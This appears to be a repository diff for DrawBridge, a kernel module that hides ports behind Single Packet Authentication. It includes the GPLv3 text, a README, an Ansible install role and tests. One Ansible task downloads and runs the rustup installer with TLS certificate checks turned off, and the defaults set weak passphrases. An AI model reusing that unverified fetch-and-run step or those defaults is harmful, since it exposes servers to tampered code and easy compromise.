similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.

View File

@ -0,0 +1,185 @@
![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true)
[![Actions Status](https://github.com/landhb/Drawbridge/workflows/Ubuntu%20Latest%20Build%20CI/badge.svg)](https://github.com/landhb/Drawbridge/actions)
A layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security.
Note: DrawBridge now supports both IPv4 and IPv6 traffic
## Demo
![gif](https://github.com/landhb/DrawBridge/blob/master/img/example.gif?raw=true)
Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design.
# Basic usage
```bash
sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK]
```
To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it:
```bash
chmod 500 ~/.cargo/bin/db
sudo setcap cap_net_raw=pe ~/.cargo/bin/db
```
It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding.
```bash
alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]"
```
## Build and Install the Drawbridge Utilities
The usermode tools are now written in Rust! Build and install them with cargo:
```
git clone https://github.com/landhb/Drawbridge
cargo install --path Drawbridge/tools
# or
cargo install dbtools
```
## Build and Install the Drawbridge Module
To automagically generate keys, run the following on your client machine:
```bash
db keygen
```
The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module.
To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`.
```bash
# on the server compile the module and load it
# pass the ports you want to monitor as an argument
mv key.h kernel/
cd kernel
make
sudo modprobe x_tables
sudo insmod drawbridge.ko ports=22,445
```
You may need to install your kernel headers to compile the module, you can do so with:
```
sudo apt-get install linux-headers-$(uname -r)
sudo apt-get update && sudo apt-get upgrade
```
This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels.
## Customizing a Unique 'knock' Packet
If you wish to customize your knock a little more you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on:
```c
// Flags
(*pkt)->tcp_h.fin = 0; // 1
(*pkt)->tcp_h.syn = 0; // 2
(*pkt)->tcp_h.rst = 1; // 4
(*pkt)->tcp_h.psh = 1; // 8
(*pkt)->tcp_h.ack = 1; // 16
(*pkt)->tcp_h.urg = 0; // 32
(*pkt)->tcp_h.window = htons(3104);
```
Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14:
```
"tcp[tcpflags] == 28 and tcp[14:2] = 3104"
```
[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it:
```
(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)"
```
After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]:
```
tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd
```
which gives us:
```c
struct sock_filter code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 9, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 13, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 11, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001b },
{ 0x15, 0, 8, 0x0000001c },
{ 0x48, 0, 0, 0x0000001c },
{ 0x15, 5, 6, 0x00000c20 },
{ 0x15, 0, 5, 0x000086dd },
{ 0x30, 0, 0, 0x00000043 },
{ 0x15, 0, 3, 0x0000001c },
{ 0x28, 0, 0, 0x00000044 },
{ 0x15, 0, 1, 0x00000c20 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },
};
```
And there you go! You have a unique packet that the DrawBridge kernel module will parse!
## Generating an RSA Key Pair Manually
First generate the key pair:
```
openssl genrsa -des3 -out private.pem 2048
```
Export the public key to a seperate file:
```bash
openssl rsa -in private.pem -outform DER -pubout -out public.der
```
If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format:
```bash
vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER
0:d=0 hl=4 l= 290 cons: SEQUENCE
4:d=1 hl=2 l= 13 cons: SEQUENCE
6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption
17:d=2 hl=2 l= 0 prim: NULL
19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED
```
You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module:
```bash
openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der
```
You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44).
```bash
0:d=0 hl=4 l= 266 cons: SEQUENCE
4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054....
265:d=1 hl=2 l= 3 prim: INTEGER :010001
```
If you need to dump output.der as a C-style byte string:
```bash
hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/'
```

View File

@ -0,0 +1,4 @@
- hosts: localhost
gather_facts: True
roles:
- { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999}

View File

@ -0,0 +1,38 @@
Drawbridge
=========
A Single Packet Authentication module to restrict ports to a single IP address for a short period of time.
Requirements
------------
Any pre-requisites that may not be covered by Ansible itself or the role should be mentioned here. For instance, if the role uses the EC2 module, it may be a good idea to mention in this section that the boto package is required.
Role Variables
--------------
A description of the settable variables for this role should go here, including any variables that are in defaults/main.yml, vars/main.yml, and any variables that can/should be set via parameters to the role. Any variables that are read from other roles and/or the global scope (ie. hostvars, group vars, etc.) should be mentioned here as well.
Dependencies
------------
A list of other roles hosted on Galaxy should go here, plus any details in regards to parameters that may need to be set for other roles, or variables that are used from other roles.
Example Playbook
----------------
Including an example of how to use your role (for instance, with variables passed in as parameters) is always nice for users too:
- hosts: servers
roles:
- { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999}
License
-------
BSD
Author Information
------------------
An optional section for the role authors to include contact information, or a website (HTML is not allowed).

View File

@ -0,0 +1,10 @@
---
# defaults file for drawbridge
DRAWBRIDGE_PASS: test
DRAWBRIDGE_PORTS: 8888,9999
# The destination where cargo should be installed.
cargo_prefix: ~/.cargo/bin #/usr/local
# Where to drop the downloaded installer.
cargo_tmp: /tmp

View File

@ -0,0 +1,2 @@
---
# handlers file for drawbridge

View File

@ -0,0 +1,53 @@
galaxy_info:
author: your name
description: your description
company: your company (optional)
# If the issue tracker for your role is not on github, uncomment the
# next line and provide a value
# issue_tracker_url: http://example.com/issue/tracker
# Choose a valid license ID from https://spdx.org - some suggested licenses:
# - BSD-3-Clause (default)
# - MIT
# - GPL-2.0-or-later
# - GPL-3.0-only
# - Apache-2.0
# - CC-BY-4.0
license: license (GPL-2.0-or-later, MIT, etc)
min_ansible_version: 2.4
# If this a Container Enabled role, provide the minimum Ansible Container version.
# min_ansible_container_version:
#
# Provide a list of supported platforms, and for each platform a list of versions.
# If you don't wish to enumerate all versions for a particular platform, use 'all'.
# To view available platforms and versions (or releases), visit:
# https://galaxy.ansible.com/api/v1/platforms/
#
# platforms:
# - name: Fedora
# versions:
# - all
# - 25
# - name: SomePlatform
# versions:
# - all
# - 1.0
# - 7
# - 99.99
galaxy_tags: []
# List tags for your role here, one per line. A tag is a keyword that describes
# and categorizes the role. Users find roles by searching for tags. Be sure to
# remove the '[]' above, if you add tags to this list.
#
# NOTE: A tag is limited to a single word comprised of alphanumeric characters.
# Maximum 20 tags per role.
dependencies: []
# List your role dependencies here, one per line. Be sure to remove the '[]' above,
# if you add dependencies to this list.

View File

@ -0,0 +1,31 @@
---
# tasks file for sudo-pair
- name: install requirements for cargo
package:
name: "{{ cargo_requirements }}"
state: present
register: cargo_install_requirements_for_cargo
until: cargo_install_requirements_for_cargo is succeeded
retries: 3
- name: download installer rustup
get_url:
url: https://static.rust-lang.org/rustup.sh
dest: "{{ cargo_tmp }}/rustup.sh"
mode: "0750"
validate_certs: no
register: cargo_download_installer_rustup
until: cargo_download_installer_rustup is succeeded
retries: 3
- name: run installer rustup
command: ./rustup.sh -y
args:
chdir: "{{ cargo_tmp }}"
creates: "~/.cargo/bin" #"{{ cargo_prefix }}/bin/cargo"
environment:
CARGO_HOME: "{{ cargo_prefix }}"
TMPDIR: "{{ cargo_tmp }}"
register: cargo_run_installer_rustup
until: cargo_run_installer_rustup is succeeded
retries: 3

View File

@ -0,0 +1,107 @@
- name: Update APT package cache
apt:
update_cache: true
cache_valid_time: 3600
become: true
- name: Install Kernel Headers
apt:
name: "linux-headers-{{ ansible_kernel }}"
become: true
- name: Install cargo
include_tasks: "cargo.yml"
- name: Clone drawbridge
git:
repo: https://github.com/landhb/DrawBridge.git
dest: /tmp/drawbridge
version: master
tags: drawbridge
- name: Install build tools
become: yes
apt:
name: "{{ packages }}"
update_cache: yes
vars:
packages:
- make
- python3-pip
- python3-pkg-resources
tags: drawbridge
- name: install pexpect
pip:
name: pexpect
become: yes
tags: drawbridge
- name: Build and install db
command: "cargo install --path tools/"
args:
chdir: /tmp/drawbridge
tags: drawbridge
- name: Generate new keys
expect:
command: "db keygen"
chdir: /tmp/drawbridge
creates: /tmp/drawbridge/key.h
responses:
(?i)create: "Y"
tags: drawbridge
- name: Move key.h to kernel directory
shell: "mv ../key.h ."
args:
chdir: /tmp/drawbridge/kernel
creates: /tmp/drawbridge/kernel/key.h
tags: drawbridge
- name: Retrieve private key
fetch:
src: ~/.drawbridge/db_rsa
dest: ~/.drawbridge/private_{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}.pem
tags: drawbridge
- name: Compile drawbridge
command: "make"
args:
chdir: /tmp/drawbridge/kernel
creates: /tmp/drawbridge/kernel/drawbridge.ko
tags: drawbridge
- name: Install drawbridge
command: "{{ item }}"
with_items:
- "cp /tmp/drawbridge/kernel/drawbridge.ko /lib/modules/{{ ansible_kernel }}/kernel/drivers/net"
- "depmod -a"
become: yes
tags: drawbridge
- name: Load drawbridge
modprobe:
name: drawbridge
state: present
params: "ports={{ DRAWBRIDGE_PORTS }}"
become: yes
tags: drawbridge
- name: Cleanup tmp directory
file:
path: "rm -rf /tmp/drawbridge"
state: absent
tags: drawbridge
- name: Uninstall unnecessary packages
become: yes
apt:
name: "{{ packages }}"
state: absent
vars:
packages:
- make
- python3-pip
- python3-pkg-resources
tags: drawbridge

View File

@ -0,0 +1,23 @@
---
# main tasks file for drawbridge
- name: check if drawbridge is installed
shell: modinfo drawbridge
register: modinfo_result
ignore_errors: yes
failed_when: False
no_log: True
become: yes
# conditionally apply installation
- name: Apply install if necessary
include_tasks: "drawbridge.yml"
when: modinfo_result.rc == 1

View File

@ -0,0 +1,3 @@
localhost ansible_connection=local

View File

@ -0,0 +1,5 @@
---
- hosts: localhost
remote_user: root
roles:
- drawbridge

View File

@ -0,0 +1,60 @@
import os
import pytest
import testinfra
#import testinfra.utils.ansible_runner
#from ansible.template import Templar
#from ansible.parsing.dataloader import DataLoader
#runner = testinfra.utils.ansible_runner.AnsibleRunner(
# os.environ['MOLECULE_INVENTORY_FILE']
#)
#testinfra = runner.get_hosts('all')
@pytest.fixture(scope='module')
def get_vars(host):
defaults_files = "file=./roles/drawbridge/defaults/main.yml name=role_defaults"
vars_files = "file=./roles/drawbridge/vars/main.yml name=role_vars"
ansible_vars = host.ansible(
"include_vars",
defaults_files)["ansible_facts"]["role_defaults"]
ansible_vars.update(host.ansible(
"include_vars",
vars_files)["ansible_facts"]["role_vars"])
return ansible_vars
def test_drawbridge_install(host):
lsmod = host.check_output("lsmod")
assert "drawbridge" in lsmod
def test_ports_closed(host, get_vars):
print(get_vars)
assert "DRAWBRIDGE_PORTS" in get_vars
localhost = host.addr("127.0.0.1")
assert localhost.is_resolvable
for i in get_vars['DRAWBRIDGE_PORTS'].split(','):
assert localhost.port(i).is_reachable is False
def test_apt_cleanup(host):
make = host.package("make")
pip = host.package("python3-pip")
pkg_resources = host.package("python3-pkg-resources")
assert make.is_installed is False
assert pip.is_installed is False
assert pkg_resources.is_installed is False
'''
def test_key_file(host):
f = host.file('~/drawbridge/')
assert f.exists
assert f.user == 'root'
assert f.group == 'root'
'''

View File

@ -0,0 +1,6 @@
---
# vars file for drawbridge
cargo_requirements:
- curl
- file
- bash

Binary file not shown.

After

Width:  |  Height:  |  Size: 379 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@ -0,0 +1,553 @@
# SPDX-License-Identifier: GPL-2.0
#
# clang-format configuration file. Intended for clang-format >= 4.
#
# For more information, see:
#
# Documentation/process/clang-format.rst
# https://clang.llvm.org/docs/ClangFormat.html
# https://clang.llvm.org/docs/ClangFormatStyleOptions.html
#
---
AccessModifierOffset: -4
AlignAfterOpenBracket: Align
AlignConsecutiveAssignments: ACS_Consecutive
AlignConsecutiveDeclarations: false
#AlignEscapedNewlines: Left # Unknown to clang-format-4.0
AlignOperands: true
AlignTrailingComments: false
AllowAllParametersOfDeclarationOnNextLine: false
AllowShortBlocksOnASingleLine: false
AllowShortCaseLabelsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortIfStatementsOnASingleLine: false
AllowShortLoopsOnASingleLine: false
